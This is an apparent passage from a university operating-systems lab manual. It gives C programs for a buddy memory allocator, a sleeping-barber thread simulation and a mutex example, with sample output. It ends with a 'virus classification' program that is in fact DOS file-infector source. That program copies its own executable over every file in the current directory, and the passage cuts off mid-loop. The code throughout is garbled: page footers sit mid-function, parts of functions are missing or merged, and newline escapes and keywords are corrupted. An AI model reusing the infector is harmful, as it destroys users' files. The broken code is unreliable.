4. Program 2
Design and develop a program to implement lazy buddy algorithm
#include<stdio.h>
int tree[2050],i,j,k;
void segmentalloc(int,int),makedivided(int),makefree(int),printing(int,int);
int place(int),power(int,int);
main()
{
int totsize,cho,req;
printf("n B U D D Y S Y S T E M R E Q U I R E M E N T Sn");
printf("* Enter the Size of the memory :");
scanf("%d",&totsize);
while(1)
{
printf("n B U D D Y S Y S T E M n");
printf("*****************************n");
printf("* 1) Locate the process into the Memoryn");
printf("* 2) Remove the process from Memoryn");
printf("* 3) Tree structure for Memory aloc tn Mapn");
printf("* 4) Exitn");
printf("* Enter your choice :");
scanf("%d",&cho);
switch(cho)
{
5. case 1:
printf("nM E M O R Y A L L O C A T I O Nn");
printf("************************************n");
printf("* Enter the Process size : ");
scanf("%d",&req);
segmentalloc(totsize,req);
break;
case 2:
printf("n M E M O R Y D E A L L O C A T I ONn");
printf("n ******************n");
printf(" Enter the process size : n");
scanf("%d",&req);
makefree(req);
break;
case 3:
printf("n M E M O R Y A L L O C A T I O N M A Pn");
printf("*********************************************************n");
printing(totsize,0);
break;
default:
return;
}
}
}
6. void segmentalloc(int totsize,int request)
{
int flevel=0,size;
size=totsize;
if(request>=totsize)
{
printf("%c R E S U L T : ",2);
printf("* The system don't have enough free memoryn");
printf("* The system don't have enough free memoryn");
printf("* Suggession : Go for VIRTUAL MEMORYn");
return;
}
while(1)
{
if(request<size && request>=(size/2))
break;
else
{
size/=2;
flevel++;
}
}
for(i=power(2,flevel)-1;i<=(power(2,flevel+1)-2);i++)
if(tree[i]==0 && place(i))
{
7. tree[i]=request;
makedivided(i);
printf("n Result : Successful Allocation n");
break;
}
if(i==power(2,flevel+1)-1)
{
printf("%c Result : ");
printf("n* The system don't have enough free memoryn");
printf("* Suggession : Go for VIRTUAL Memory Moden");
}
}
void makedivided(int node)
{
while(node!=0)
{
node=node%2==0?(node-1)/2:node/2;
tree[node]=1;
}
}
int place(int node)
{
while(node!=0)
{
node=node%2==0?(node-1)/2:node/2;
10. if(node>=llimit&& node<=ulimit)
break;
else
{
tab++;
printf(" ");
llimit=ulimit+1;
ulimit=2*ulimit+2;
}
}
printf(" %d ",totsize/power(2,tab));
if(tree[node]>1)
printf("---> Allocated %d",tree[node]);
else if(tree[node]==1)
printf("---> Divided");
else printf("---> Freen");
printing(totsize,2*node+1);
printing(totsize,2*node+2);
}
}
Program 2/ OUT PUT:
[root@localhost ~]# cc pgm1.c
[root@localhost ~]# ./a.out
B U D D Y S Y S T E M R E Q U I R E M E N T S
* Enter the Size of the memory : 1400
B U D D Y S Y S T E M
*****************************
11. * 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :1
M E M O R Y A L L O C A T I O N
************************************
* Enter the Process size : 600
Result : Successful Allocation
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :3
M E M O R Y A L L O C A T I O N M A P
**********************************************
1400 ---> Divided 700 ---> Allocated 600 700 ---> Free
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
Department Of Computer Science & Engineering
BIT/CSE/AOS LAB Page 14
* Enter your choice :1
M E M O R Y A L L O C A T I O N
************************************
* Enter the Process size : 400
Result : Successful Allocation
B U D D Y S Y S T E M
*****************************
12. * 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :3
M E M O R Y A L L O C A T I O N M A P
**********************************************
1400 ---> Divided 700 ---> Allocated 600 700 ---> Allocated 400
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :2
M E M O R Y D E A L L O C A T I O N
******************************************
* Enter the process size : 600
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :3
M E M O R Y A L L O C A T I O N M A P
Department Of Computer Science & Engineering
BIT/CSE/AOS LAB Page 15
**********************************************
1400 ---> Divided 700 ---> Free
700 ---> Allocated 400
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
13. * 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :1
M E M O R Y A L L O C A T I O N
************************************
* Enter the Process size : 800
Result :
* The system don't have enough free memory
* Suggession : Go for VIRTUAL Memory Mode
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :2
M E M O R Y D E A L L O C A T I O N
******************************************
* Enter the process size :400
Result :SuccessfullDeallocation
B U D D Y S Y S T E M
*****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :3
Department Of Computer Science & Engineering
BIT/CSE/AOS LAB Page 16
M E M O R Y A L L O C A T I O N M A P
**********************************************
1400 ---> Free
B U D D Y S Y S T E M
14. *****************************
* 1) Locate the process into the Memory
* 2) Remove the process from Memory
* 3) Tree structure for Memory allocation Map
* 4) Exit
* Enter your choice :
15. Program 3
Write a multi-class multithreaded program that simulates multiple sleeping barbers, all
in one barbershop that has a finite number of chairs in the waiting room. Each customer
is instantiated from a single customer class; each barber is instantiated from a single
Barber class.
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<pthread.h>
#include<semaphore.h>
#define MAX_CHAIRS 4
#define CUT_TIME 1
#define NUM_BARB 2
#define MAX_CUST 6
int numberoffreeseats=MAX_CUST;
int seatpocket[MAX_CUST];
sem_t customers;
sem_t barbars;
sem_t mutex;
int servemenext=0;
int sitherenext=0;
int count=0;
void barbarthread(void *tmp);
void customerthread(void *tmp);
void wait();
18. }
else
{
sem_post(&mutex);
printf("customer %d finds the no seats and go backn",count);
}
pthread_exit(0);
}
void barbarthread(void *tmp)
{
int index=*(int *)(tmp);
int mynext,c;
printf("barbar %d joins shopn",index+1);
while(1)
{
printf("barbar %d gone to sleepn",index+1);
sem_wait(&barbars);
sem_wait(&mutex);
servemenext=(++servemenext)%MAX_CHAIRS;
mynext=servemenext;
c=seatpocket[mynext];
seatpocket[mynext]=pthread_self();
sem_post(&mutex);
sem_post(&customers);
printf("barbar %d wakes up andis cutting hair of customer %dn",index+1,c);
19. sleep(CUT_TIME);
printf("barbar %d finishesn",index+1);
}
}
void wait()
{
int x=rand()%(250000-50000+1)+50000;
srand(time(NULL));
usleep(x);
}
Sample Input/Output :
!!Barber Shop Opens!!
Barber-1 Joins Shop.Barber-1 Gone To Sleep.
Barber-2 Joins Shop.Barber-2 Gone To Sleep.
Customer-1 Entered Shop. Customer-1 Sits In Waiting Room.
Barber-1 Wakes Up & Is Cutting Hair Of Customer-1.
Customer-2 Entered Shop. Customer-2 Sits In Waiting Room.
Barber-2 Wakes Up & Is Cutting Hair Of Customer-2.
Customer-3 Entered Shop. Customer-3 Sits In Waiting Room.
Customer-4 Entered Shop. Customer-4 Sits In Waiting Room.
Customer-5 Entered Shop. Customer-5 Sits In Waiting Room.
Barber-1 Finishes.Barber-1 Gone To Sleep.
Barber-1 Wakes Up & Is Cutting Hair Of Customer-3.
Barber-2 Finishes.Barber-2 Gone To Sleep.
Barber-2 Wakes Up & Is Cutting Hair Of Customer-4.
Barber-1 Finishes.Barber-1 Gone To Sleep.
Barber-1 Wakes Up & Is Cutting Hair Of Customer-5.
!!Barber Shop Closes!!
20. PROGRAM 4
Use ECOS operating system to develop a program for controlling
accessing to a pool of resources using mutexes and condition variables.
#include <string.h>
#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>
pthread_t tid[2];
int counter;
pthread_mutex_t lock;
void* processloop(void *arg)
{
pthread_mutex_lock(&lock); // lock code
unsigned long i = 0;
counter += 1;
printf("n Job %d startedn", counter);
for(i=0; i<1;i++)
printf("n Job %d finishedn", counter);
pthread_mutex_unlock(&lock); // unlock code
return NULL;
}
21. int main(void)
{
int i = 0;
int err;
if (pthread_mutex_init(&lock, NULL) != 0) // create mutex lock
{
printf("n mutex init failedn");
return 1;
}
while(i < 2)
{
err = pthread_create(&(tid[i]), NULL, &processloop, NULL);
if (err != 0)
printf("ncan't create thread :[%s]", strerror(err));
i++;
}
pthread_join(tid[0], NULL);
pthread_join(tid[1], NULL);
pthread_mutex_destroy(&lock);
return 0;
22. Program 5
Design and develop a program to realize the virus classification, such
as boot sector infector, file infector and macro virus.
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
Int done,a=0; unsigned long x;
Char buff[2048];
struct ffblk ffblk; clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL)
goto next;
x=89088;
printf(“Infecting %sn”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus); fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus); fwrite(buff,x,1,host); a++;
next:
{
fcloseall();